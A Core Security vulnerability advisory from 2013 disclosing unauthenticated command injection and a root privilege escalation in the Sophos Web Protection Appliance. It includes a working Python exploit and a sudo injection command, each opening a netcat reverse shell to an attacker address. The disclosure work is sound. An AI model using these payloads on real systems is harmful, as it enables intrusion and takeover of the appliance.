Sophos Web Protection Appliance Command Injection

`Core Security - Corelabs Advisory  
http://corelabs.coresecurity.com/  
  
Sophos Web Protection Appliance Multiple Vulnerabilities  
  
  
1. *Advisory Information*  
  
Title: Sophos Web Protection Appliance Multiple Vulnerabilities  
Advisory ID: CORE-2013-0809  
Advisory URL:  
http://www.coresecurity.com/advisories/sophos-web-protection-appliance-multiple-vulnerabilities  
Date published: 2013-09-06  
Date of last update: 2013-09-06  
Vendors contacted: Sophos  
Release mode: Coordinated release  
  
  
2. *Vulnerability Information*  
  
Class: OS command injection [CWE-78], OS command injection [CWE-78]  
Impact: Code execution, Security bypass  
Remotely Exploitable: Yes  
Locally Exploitable: No  
CVE Name: CVE-2013-4983, CVE-2013-4984  
  
  
3. *Vulnerability Description*  
  
Sophos Web Protection Appliance [1] provides advanced web malware  
protection, URL filtering and content control (including scanning of  
HTTPS traffic) in a Secure Web Gateway appliance. Sophos Web Protection  
Appliance is available both as a hardware appliance and as a VMware  
virtual appliance.  
  
Multiple vulnerabilities have been found in Sophos Web Protection  
Appliance that could allow an unauthenticated remote attacker to execute  
arbitrary OS commands and escalate privileges to gain root permissions  
within the appliance. The OS command injection vulnerability can be  
exploited by remote unauthenticated attackers that can reach the web  
interface of the appliance. The privilege escalation vulnerability  
allows an attacker that already gained code execution on the appliance  
to escalate privileges from the operating system user 'spiderman' to  
'root'.  
  
  
4. *Vulnerable Packages*  
  
. Sophos Web Appliance v3.7.9 and earlier.  
. Sophos Web Appliance v3.8.0.  
. Sophos Web Appliance v3.8.1.  
. Other versions may be affected too but they were no checked.  
  
5. *Non-Vulnerable Packages*  
  
. Sophos Web Protection Appliance v3.7.9.1.  
. Sophos Web Protection Appliance v3.8.1.1.  
  
6. *Vendor Information, Solutions and Workarounds*  
  
Sophos published release notes and a knowledgebase article acknowledging  
the issue and the assistance given by Core Security in tracking it down  
[2][3].  
  
  
7. *Credits*  
  
This vulnerability was discovered and researched by Francisco Falcon  
from Core Exploit Writers Team. The publication of this advisory was  
coordinated by Fernando Miranda from Core Advisories Team.  
  
  
8. *Technical Description / Proof of Concept Code*  
  
  
  
  
8.1. *Pre-authentication OS command injection vulnerability*  
  
[CVE-2013-4983] The file '/opt/ui/apache/htdocs/end-user/index.php' can  
be accessed by unauthenticated users at  
'https://<WPA_server>/end-user/index.php'. It also can be reached  
through plain HTTP at 'http://<WPA_server>/index.php', since Apache's  
'httpd.conf' configuration file defines a VirtualHost at port 80 having  
DocumentRoot '/opt/ui/apache/htdocs/end-user/'. The 'run()' function in  
this PHP script obtains the requested controller from its 'c' GET  
parameter and calls the appropriate handler.  
  
Available handlers are defined in  
'/opt/ui/apache/htdocs/config/UsrSiteflow.php':  
  
  
/-----  
<?php  
require_once('AbstractSiteFlow.php');  
class UsrSiteflow extends AbstractSiteFlow {  
public function __construct() {  
$this->flow = array(  
"index" => "UsrBlocked.php",  
"blocked" => "UsrBlocked.php",   
"invalid_certificate" => "UsrBlocked.php",  
"rss" => "UsrRss.php",  
);  
}  
}  
?>  
-----/  
  
That means that, for example, when requesting  
'https://<WPA_server>/end-user/index.php?c=blocked', the  
'UsrBlocked.php' script will be used to render the page. Looking at the  
code in '/opt/ui/apache/htdocs/controllers/UsrBlocked.php':  
  
/-----  
<?php  
[...]  
if(isset($_GET['action'])) {  
if($_GET['action'] == 'continue') {  
// use sblistpack to allow access  
$url = base64_decode($_POST['url']);  
$scheme = parse_url($url,PHP_URL_SCHEME);  
if($scheme == "https" &&  
$this->config->read('wsa_proxy.https_scan') != 'yes') {  
$host = parse_url($url,PHP_URL_HOST);  
$args['url'] = $scheme . '://' . $host;  
} else {  
$args['url'] = $url;  
}  
if($_POST['args_reason'] == 'filetypewarn') {  
$key = $_POST['url'];  
$packer = '/opt/ws/bin/ftsblistpack';  
$value = $_POST['filetype'];  
}  
else {  
$key = $_POST['domain'];  
$packer = '/opt/ws/bin/sblistpack';  
$catParts = explode("|",$_POST['raw_category_id']);  
$value = $catParts[0];  
}  
if(strlen(trim($_POST['user'])) > 0)  
$user = base64_decode($_POST['user_encoded']);  
else  
$user = $_POST['client-ip'];  
if($user == '-') $user = $_POST['client-ip'];  
  
$key = escapeshellarg($key);  
$user = escapeshellarg($user);  
$value = escapeshellarg($value);  
shell_exec("$packer $key $user $value");  
[...]  
?>   
-----/  
  
we can see that the Perl script '/opt/ws/bin/sblistpack' will be  
executed when the following conditions are met:  
  
1. the 'action' GET parameter is set to 'continue', and  
2. the 'args_reason' POST parameter is set to anything different that  
'filetypewarn';  
Variables whose content is controlled by the user '($key, $user,  
$value)' are properly escaped by using 'escapeshellarg()' before calling  
'shell_exec()', making the UsrBlocked.php script not vulnerable to OS  
command injection at that point. However, the invoked  
'/opt/ws/bin/sblistpack' Perl script itself is vulnerable to OS command  
injection, because its 'get_referers()' function doesn't escape the  
first argument of the script before using it within a string that will  
be executed as a command by using backticks:  
  
  
/-----  
sub get_referers {  
my $domain = shift;  
  
if(! -f $referer_list) {  
return ();  
}  
  
# handle multiple google domains (e.g. google.co.uk)  
if($domain =~ /^google\./) {  
$domain = 'google.com';  
}  
  
my $output = `/opt/ws/bin/kvlistquery $referer_list $domain`;  
chomp $output;  
  
if($output =~ /'(.*)'$/) {  
my $sites = $1;  
return split('\|', $sites);  
}  
return ();  
}  
  
-----/  
  
so, by setting the 'domain' POST parameter to a value like:  
  
  
/-----  
http://example.com;/bin/nc -c /bin/bash 192.168.1.100 4444  
-----/  
  
an unauthenticated remote attacker can execute arbitrary OS commands on  
the Sophos appliance with the privileges of the 'spiderman' operating  
system user.  
  
  
8.1.1. *Proof of Concept*  
  
The following Python script exploits the pre-authentication OS command  
injection vulnerability and executes '/bin/nc -c /bin/bash 192.168.1.100  
4444' on a vulnerable Sophos Web Protection Appliance in order to gain a  
reverse shell on attacker's machine at 192.168.1.100:  
  
  
/-----  
import sys  
import httplib  
  
def main():  
if len(sys.argv) < 2:  
print "Usage: sophos_wpa_command_injection.py <target_ip>"  
sys.exit(1)  
  
host = sys.argv[1]  
port = 443  
  
headers = {'Host': host,  
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64;  
rv:21.0) Gecko/20100101 Firefox/21.0',  
'Accept':  
'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',  
'Accept-Language': 'es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3',  
'Accept-Encoding': 'gzip, deflate',  
'Connection': 'keep-alive',  
'Content-Type': 'application/x-www-form-urlencoded'  
}  
  
body = 'url=aHR0cDovL3d3dy5leGFtcGxlLmNvbQ%3d%3d'  
body +=  
'&args_reason=something_different_than_filetypewarn&filetype=dummy&user=buffalo'  
body +=  
'&user_encoded=YnVmZmFsbw%3d%3d&domain=http%3a%2f%2fexample.com%3b%2fbin%2fnc%20-c%20%2fbin%2fbash%20192.168.1.100%204444'  
body += '&raw_category_id=one%7ctwo%7cthree%7cfour'  
  
conn = httplib.HTTPSConnection(host, port)  
conn.request('POST',  
'/end-user/index.php?c=blocked&action=continue', body=body, headers=headers)  
  
#Don't wait for the server response since it will be blocked by the  
spawned shell  
conn.close()  
print 'Done.'  
  
if __name__ == '__main__':  
main()   
-----/  
  
  
8.2. *Privilege escalation through local OS command injection vulnerability*  
  
[CVE-2013-4984] The Apache web server within the Sophos appliance runs  
under the 'spiderman' user. The '/etc/sudoers' file defines a list of  
Bash and Perl scripts that the 'spiderman' user can run with the 'sudo'  
command:  
  
  
/-----  
spiderman ALL=NOPASSWD:/opt/sophox/bin/configure_interface, \  
/opt/sophox/bin/sophox-register, \  
/opt/sophox/bin/sophox-remote-assist, \  
[...]  
/opt/cma/bin/clear_keys.pl, \  
[...]  
-----/  
  
The Perl script '/opt/cma/bin/clear_keys.pl' is vulnerable to OS command  
injection, because its 'close_connections()' function:  
  
  
/-----  
sub close_connections {  
my ($client_ip, $signum, $signame) = @_;  
  
my @connections = `/bin/netstat -nap|grep ^tcp.*:22.*$client_ip.*EST`;  
foreach (@connections) {  
if(/ESTABLISHED\s*(\d+)\/sshd/) {  
my $conn_pid = $+;  
log_info("connection PID: $conn_pid; my PID: $$; my process  
tree: " . join(', ', @my_process_tree));  
next if (grep {$_ == $conn_pid} @my_process_tree);  
log_info("Attempting to stop process '$conn_pid' with  
$signame");  
kill $signum, $conn_pid;  
}  
}  
}   
-----/  
  
doesn't escape the second argument of the script before using it within  
a string that will be executed as a command by using backticks. Since it  
can be run by the 'spiderman' user with the 'sudo' command, it can be  
abused to gain root privileges within the appliance.  
  
The following command can be executed within a compromised Web  
Protection Appliance to escalate privileges from 'spiderman' user to  
root and gain a reverse root shell on attacker's machine at 192.168.1.100:  
  
  
/-----  
$ sudo /opt/cma/bin/clear_keys.pl fakeclientfqdn ";/bin/nc -c /bin/bash  
192.168.1.100 5555;" /fakedir  
-----/  
  
  
9. *Report Timeline*  
  
. 2013-08-12:  
Core Security Technologies notifies the Sophos team of the vulnerability  
and sends a technical report. Publication date is set for Sep 4th, 2013.  
  
. 2013-08-13:  
Vendor acknowledges Core Security Technologies's e-mail, confirms the  
issues and notifies that they are working on a resolution and a release  
plan.  
  
. 2013-08-14:  
Vendor notifies that they are expecting to release a fixed version in  
the first week of September. Vendor also notifies that they are also in  
the middle of an extended rollout of a new version of the product and  
would like to make this fix available to customers on both the new and  
old versions of the product, which increases the amount of testing  
involved. Sophos team asks for delay the advisory publication one week  
(Sep 11th).  
  
. 2013-08-20:  
Core re-schedules the advisory publication for Sep 11th, 2013.  
  
. 2013-09-05:  
Vendor notifies that they completed the testing early and the fixed  
version of the Web Appliance is scheduled for tomorrow, Friday 6th.  
Vendor also notifies that they have published release notes and a  
knowledgebase article acknowledging the issues [2][3].  
  
. 2013-09-06:  
Advisory CORE-2013-0809 published.  
  
  
10. *References*  
  
[1]  
http://www.sophos.com/medialibrary/PDFs/factsheets/sophoswebappliancesdsna.pdf.  
  
[2] http://www.sophos.com/en-us/support/knowledgebase/119773.aspx.  
[3]  
http://ca-repo1.sophos.com/docs/ws1000/ws1000/concepts/ReleaseNotes_3.8.1.1.html.  
  
  
  
11. *About CoreLabs*  
  
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with anticipating the future needs and requirements for information  
security technologies. We conduct our research in several important  
areas of computer security including system vulnerabilities, cyber  
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vulnerabilities, novel solutions and prototypes for new technologies.  
CoreLabs regularly publishes security advisories, technical papers,  
project information and shared software tools for public use at:  
http://corelabs.coresecurity.com.  
  
  
12. *About Core Security Technologies*  
  
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with security test and measurement solutions that continuously identify  
and demonstrate real-world exposures to their most critical assets. Our  
customers can gain real visibility into their security standing, real  
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Technologies can be reached at +1 (617) 399-6980 or on the Web at:  
http://www.coresecurity.com.  
  
  
13. *Disclaimer*  
  
The contents of this advisory are copyright (c) 2013 Core Security  
Technologies and (c) 2013 CoreLabs, and are licensed under a Creative  
Commons Attribution Non-Commercial Share-Alike 3.0 (United States)  
License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/  
  
  
14. *PGP/GPG Keys*  
  
This advisory has been signed with the GPG key of Core Security  
Technologies advisories team, which is available for download at  
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.  
  
  
`